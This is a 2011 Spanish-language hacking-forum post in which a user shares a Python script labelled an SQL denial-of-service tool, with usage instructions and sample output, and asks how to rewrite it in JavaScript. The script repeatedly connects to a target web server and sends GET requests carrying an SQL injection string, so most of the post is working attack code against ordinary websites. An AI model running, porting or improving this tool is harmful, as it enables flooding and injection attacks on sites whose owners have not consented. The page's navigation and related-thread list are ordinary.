elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web (Moderador: #!drvy)
| | |-+  Python a javascript?¿
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Python a javascript?¿  (Leído 1,285 veces)
VanX
Wiki

Desconectado Desconectado

Mensajes: 222



Ver Perfil WWW
Python a javascript?¿
« en: 8 Agosto 2011, 16:20 pm »

Hola a todos, estuve buscando y buscando muchoooo por internet y no encontre nada sobre esto. Tengo un codigo en pythoon que me gustaría realizar en javascript pero no se por donde empezar:

Código
  1. #!/usr/bin/python
  2. # SQLiDoS - SQL Denial of Service
  3.  
  4. import socket
  5. import sys
  6.  
  7. if len(sys.argv) != 4:
  8.    print "[+] Uso: SQLiDoS.py <Target Web> <SQLi Injection> <Connection Numbers>"
  9.    sys.exit(1)
  10.  
  11. def attack():
  12. connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  13. connection.connect((sys.argv[1], 80))
  14. print "[+] GET /" + sys.argv[2] + " HTTP/1.1"
  15. connection.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
  16. connection.send("Host: " + sys.argv[1]  + "\r\n\r\n");
  17. connection.close()
  18.  
  19. Host = sys.argv[1]
  20. SQLi = sys.argv[2]
  21. CoNum = int(sys.argv[3])
  22. print "[+] Connecting to %s" % (Host)
  23. print "[+] Injecting %s" % (SQLi)
  24. for i in range(1, CoNum+1):
  25. attack()

Como ejecutarlo:
Código
  1. SQLiDoS.py www.sitioweb.com index.php?id=' 10

Funciona:
Código
  1. [+] Connecting to www.sitioweb.com
  2. [+] Injecting index.php?id='
  3. [+] GET /noticias.php?id=' HTTP/1.1
  4. [+] GET /noticias.php?id=' HTTP/1.1
  5. [+] GET /noticias.php?id=' HTTP/1.1
  6. [+] GET /noticias.php?id=' HTTP/1.1
  7. [+] GET /noticias.php?id=' HTTP/1.1
  8. [+] GET /noticias.php?id=' HTTP/1.1
  9. [+] GET /noticias.php?id=' HTTP/1.1
  10. [+] GET /noticias.php?id=' HTTP/1.1
  11. [+] GET /noticias.php?id=' HTTP/1.1
  12. [+] GET /noticias.php?id=' HTTP/1.1

Les agradezco la ayuda de antemano!

saludos


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Python] Curso de Python con Interfaces graficas TK « 1 2 »
Scripting
Erik# 18 38,609 Último mensaje 12 Septiembre 2010, 02:27 am
por Dreykon
[Python] Sockets en Python [+Ejemplos y Ejercicios]
Scripting
Erik# 4 14,809 Último mensaje 4 Abril 2013, 16:43 pm
por SelTzeR
(Python)Existen ventanas de entrada y salida de datos en python « 1 2 »
Scripting
tonilogar 11 15,585 Último mensaje 29 Noviembre 2009, 00:49 am
por tonilogar
[python]VideoTraining Aprende A Programar En Python desde 0 « 1 2 3 »
Scripting
juh 22 17,443 Último mensaje 16 Octubre 2010, 13:12 pm
por Pere Navarro
Problema con mechanize (python) y javascript
Scripting
Cleantesdeasso 0 1,853 Último mensaje 2 Noviembre 2012, 13:50 pm
por Cleantesdeasso
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines